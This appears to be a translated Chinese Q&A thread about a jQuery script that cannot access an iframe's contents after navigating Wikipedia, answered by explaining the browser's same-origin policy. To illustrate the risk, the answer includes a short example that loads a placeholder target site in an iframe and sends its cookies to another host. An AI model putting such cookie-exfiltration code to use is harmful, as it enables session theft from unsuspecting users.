javascript - iframe 上的事件 "load"成功触发，但无法定位 iframe

Question

我已经成功创建了一段代码，它采用 CSV 数组，并通过 IFRAME 将文本放入维基百科的搜索栏中，然后单击搜索按钮。不幸的是，加载后，我无法再定位 IFRAME 的内容。我还嵌套了两个加载事件处理程序，旨在等待每个页面完成加载。

我将处理程序设置为在触发后取消绑定(bind)/关闭，这似乎可以防止“重复事件”触发。我尝试了几种策略来确定事件处理程序是否在正确的时间触发以及更改目标 ID，但不确定此时还可以尝试什么。我怀疑第二个事件处理程序在上一页上触发，因为它已经触发就绪，但“附加”似乎按预期工作。

$("#debugwindow").append("pre<br>");
$("#iframeTarget").on("load", function() {
    $("#iframeTarget").unbind();
    $("#iframeTarget").off();
    $("#iframeTarget").attr("id","iframeTarget2");

    $("#debugwindow").append("start interior of 1<br>");

    $("#iframeTarget2").on("load", function() {
        $("#iframeTarget2").unbind();
        $("#iframeTarget2").off();
        $("#iframeTarget2").attr("id","iframeTarget3");

        $("#debugwindow").append("start interior of 2<br>");

        $("#iframeTarget3").contents().find("#searchInput").val("I don't work?"); // 3 fails?
        $("#iframeTarget,#iframeTarget2,#iframeTarget3").html("even I don't do anything!"); // fails?
        // $("#iframecont").html("I ruin everything!"); // targets iframe container as test

        $("#debugwindow").append("end interior of 2<br>");
    });

    $(this).contents().find("#searchInput").val("3M"); // 1 successfully fills search
    $(this).contents().find("#searchButton").trigger("click"); // 2 successfully triggers button, changes URL to 3M page

    $("#debugwindow").append("end interior of 1<br>");
});
$("#debugwindow").append("post<br>");

寻找有关正确设置两个事件处理程序的任何见解，或者我的逻辑是否错误。理想情况下，我将能够填充搜索栏，触发搜索，然后在下一个加载的页面上操作 DOM。

Answer 1

这是出于浏览器安全考虑。您将无法在 javascript iframe 中执行任何脚本，因为如果您能够在远程 iframe 中执行 javascript 代码，则会面临极大的风险。

例如:

<iframe src="http://website.to.hack"></iframe>

$(iframe).load(() => {
    $.ajax({
        url: 'http://my.website',
        data: iframe.document.cookie
    });
});

现在我已经拥有该网站的所有 cookie。除非该框架在您的网站和它之间具有特定的信任，否则您将无法编写脚本。 (您可能需要一个 chrome 扩展程序)。

参见this post并跟帖了解更多信息。